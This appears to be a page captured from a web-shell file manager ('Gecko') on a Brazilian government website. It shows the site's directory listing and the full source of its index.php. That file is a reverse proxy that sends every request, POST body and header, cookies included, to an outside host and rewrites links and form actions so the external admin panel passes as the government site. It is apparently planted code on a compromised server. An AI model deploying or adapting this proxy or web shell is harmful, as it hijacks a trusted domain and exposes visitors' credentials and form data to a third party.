Gecko [ caxingo.pi.gov.br ]

Name	Size	Permission	Date
.well-known	[ DIR ]	drwxr-xr-x	2025-12-30 15:35
cgi-bin	[ DIR ]	drwxr-xr-x	2026-01-05 14:32
.htaccess	473 B	-rw-r--r--	2026-04-30 03:06
index.php	2.26 KB	-rw-r--r--	2025-12-30 15:35

Rename

<?php
$base = 'https://tweb.inf.br/admin';
$path = $_SERVER['REQUEST_URI'];

// Remove o prefixo /admin se existir no request
$path = preg_replace('#^/admin#i', '', $path);

// Monta URL final sem duplicar
$url = rtrim($base, '/') . '/' . ltrim($path, '/');

$ext = pathinfo($url, PATHINFO_EXTENSION);
if (in_array($ext, ['js', 'css', 'png', 'jpg', 'jpeg', 'gif', 'svg', 'woff', 'woff2', 'ttf', 'map'])) {
    header('Cache-Control: public, max-age=31536000');
}

$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, $_SERVER['REQUEST_METHOD']);

if (in_array($_SERVER['REQUEST_METHOD'], ['POST', 'PUT', 'PATCH'])) {
    $data = file_get_contents('php://input');
    curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
}

$headers = [];
foreach (getallheaders() as $key => $value) {
    if (strtolower($key) === 'host') continue;
    $headers[] = "$key: $value";
}
$headers[] = 'X-Client-Domain: ' . $_SERVER['HTTP_HOST'];

curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);

$response = curl_exec($ch);
$header_size = curl_getinfo($ch, CURLINFO_HEADER_SIZE);
$headers = substr($response, 0, $header_size);
$body = substr($response, $header_size);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

foreach (explode("\r\n", $headers) as $header) {
    if (stripos($header, 'Transfer-Encoding') === 0) continue;
    if (stripos($header, 'Content-Encoding') === 0) continue;
    if (stripos($header, 'Content-Length') === 0) continue;
    header($header);
}

http_response_code($http_code);

// ✅ REESCRITA COMPLETA — IMPORTANTE
$body = str_replace(
    [
        'https://tweb.inf.br/admin/',   // URLs absolutas
        'src="/admin/',                 // caminhos em src
        'href="/admin/',                // caminhos em href
        'action="/admin/'               // formulários
    ],
    [
        '/',                            // passa a apontar para o domínio proxy
        'src="/',
        'href="/',
        'action="/'
    ],
    $body
);

// Também corrige casos raros com URLs relativas usadas em JS
$body = str_replace(
    ['/admin/assets/', '/admin/img-', '/admin/api/'],
    ['/assets/', '/img-', '/api/'],
    $body
);

echo $body;